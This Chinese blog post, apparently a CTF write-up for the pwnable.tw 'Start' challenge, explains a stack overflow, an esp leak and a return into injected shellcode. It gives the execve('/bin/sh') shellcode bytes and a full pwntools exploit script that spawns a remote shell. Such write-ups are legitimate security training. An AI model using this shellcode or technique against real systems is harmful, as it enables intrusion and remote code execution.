首页 > 其他分享 >Pwnable_Start

Pwnable_Start

时间:2024-11-19 21:40:38浏览次数:1  
标签:20 esp x2f Pwnable Start io shellcode payload

初始阶段

先查文件信息

start题目,通通没有开启。
获得信息,小端序

分析阶段


发现没有main函数,只有汇编代码

运行看一下

这里esp先入栈,随后的xor等清空寄存器,然后又push进去了Let`s start the CTF:的字符。

下面提醒调用了sys_write函数,
即调用80h中断的四号程序sys_write 显示字符串
调用80h中断的三号程序sys_read 读入字符串
可以查看system_call_table网址https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md 选择对应的系统即可获得

漏洞存在

可以看到write函数提供了0x14大小,而read的大小的0x3C,显然存在漏洞。

add esp,14h
retn
最后返回到esp后20字节的地方,再次给了机会

获取shell

1.获得esp地址用于覆盖返回地址,执行shellcode
2.让shellcode覆盖栈里面的数据

需要明白的是,当write进去20(0x14)个字节时,read读入的不止这些,还会继续读,而这时提前给esp规划的20个字节空间已经用完,会retn到 输入的20个字节后面的地方,可以造成esp地址的泄露。

1.payload = b'a' * 20 + p32(0x08048087)
获得esp的地址之后编写shellcode,

利用80h中断中的sys_execve:

点击查看代码
31 c9                   xor    ecx,ecx
f7 e1                   mul    ecx
51                      push   ecx
68 2f 2f 73 68          push   0x68732f2f     ;传入参数/bin/sh
68 2f 62 69 6e          push   0x6e69622f
89 e3                   mov    ebx,esp
b0 0b                   mov    al,0xb        ;调用80h中断中b号程序:sys_execve
cd 80                   int    0x80

shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

获得足够信息后,shellcode执行

2.payload = b'a' * 20 + p32('esp的地址' + 20) + shellcode

exp:

点击查看代码
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

def main():
    content = 0  # 改为 1 测试本地程序
    if content == 1:
        io = process("./start")
    else:
        io = remote('chall.pwnable.tw', 10000)

    payload = b'a' * 20 + p32(0x08048087)

    io.recvuntil(':')
    io.send(payload)

    addr = u32(io.recv(4)) + 0x14
    shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

    payload = b'a' * 20 + p32(addr) + shellcode
    io.send(payload)
    io.interactive()

if __name__ == "__main__":
    main()

参考文章:https://www.anquanke.com/post/id/150359,https://blog.csdn.net/qq_43935969/article/details/105717621

标签:20,esp,x2f,Pwnable,Start,io,shellcode,payload
From: https://www.cnblogs.com/awigwu76/p/18555659/awigwu76_pwn_pwnable

相关文章

  • startswith()函数
    startswith()函数概述startswith()是Python字符串方法,用于检查字符串是否以指定的前缀开头。常用于字符串匹配或验证操作。语法str.startswith(prefix[,start[,end]])参数:prefix(必需):要匹配的前缀,可以是字符串或元组(包含多个前缀)。start(可选):检查的起始索引(默认......
  • Getting Started with Reportlab
    GettingStartedwithReportlabWhenyouarepositioninganiteminaPDF,youarepositioningbythenumberofpointsyouarefromtheorigin.It’spoints,notpixelsormillimetersorinches.TheCanvasObjectTheshowPage()methodwillsavethecurrent......
  • SpringBoot 3.3.5 集成 mybatis-plus-boot-starter 3.4.2报错
    一、环境JDK:17SpringBoot:3.3.5Mybatis-Plus:3.4.2二、报错信息Considerthefollowing: Ifyouwantanembeddeddatabase(H2,HSQLorDerby),pleaseputitontheclasspath. Ifyouhavedatabasesettingstobeloadedfromaparticularprofileyoumayneed......
  • SpringBoot自定义Starter指南
    SpringBoot的Starter自动配置机制极大地简化了依赖管理和应用配置,使得开发者可以以最少的配置快速启动和运行Spring应用。有时,标准的Starter可能无法满足特定需求,这时我们可以创建自定义Starter来扩展SpringBoot的功能。什么是SpringBootStarterSpringBootStarter是一......
  • 设计之道:spring-boot-starter自动配置
    前言springboot的设计解决了spring的一些问题,比如自动配置,打包等,说spring-boot-starter自动配置之前,一定要先回顾一次springboot的自动配置原理,它们之间的联系可谓十分紧密。正文SpringBoot的自动配置原理关键点和核心组件的详细解析1.@SpringBootApplication注解......
  • 推荐一款快速启动工具:Glary Quick Startup
    GlaryQuickStartup是一款快速启动工具,减缓PC加载速度,顾名思义,它是一个快速简单的启动管理器,专门设计用于通过延迟某些程序在系统启动后自动启动,或删除不必要的程序在系统启动时抢夺资源来启动自己,从而加快Windows启动。快速启动用于安排自动启动程序并为系统启动提供足够的......
  • springboot 接入shardingsphere-jdbc-core-spring-boot-starter
    环境springboot+mybatis-plus+driud注:druid引入方式请不要使用boot-starter方式<dependency><groupId>org.apache.shardingsphere</groupId><artifactId>shardingsphere-jdbc-core-spring-boot-starter</artifactId>......
  • Linux的boot和startup过程
    Linux的启动主要分为两阶段的过程:boot和startup。boot过程在计算机启动后触发,完成代表内核初始化成功并且系统已经启动。之后startup过程接管并将计算机转变为可触发状态。总的来说,主要由接下来的步骤完成:1、BIOSPOST2、Bootloader(GRUB2)3、Kernelinitialization4、Start......
  • win10安装与配置Mysql9.1时执行net start mysql显示服务名无效请输入NET HELPMSG 2185
    几年的时间mysql从5.0到9.x了,在windows系统上安装两种方式,MSI安装程序和ZIP压缩包。这里不讲安装教程,只说说安装报错的原因。最近用zip压缩包下载解压配置,下载社区版本,在官网下载对应的版本。https://downloads.mysql.com/archives/community/在前面修改my.ini文件,以及执行......
  • "stackblitz": { "startCommand": "yarn run test:unit" } 这个命令的作用是
    在package.json文件中,stackblitz字段用于配置StackBlitz环境中的特定设置。StackBlitz是一个基于云的开发环境,允许用户在线编写、运行和调试代码。startCommand字段指定了在StackBlitz环境中启动项目时应该执行的命令。startCommand字段的作用"stackblitz":{"star......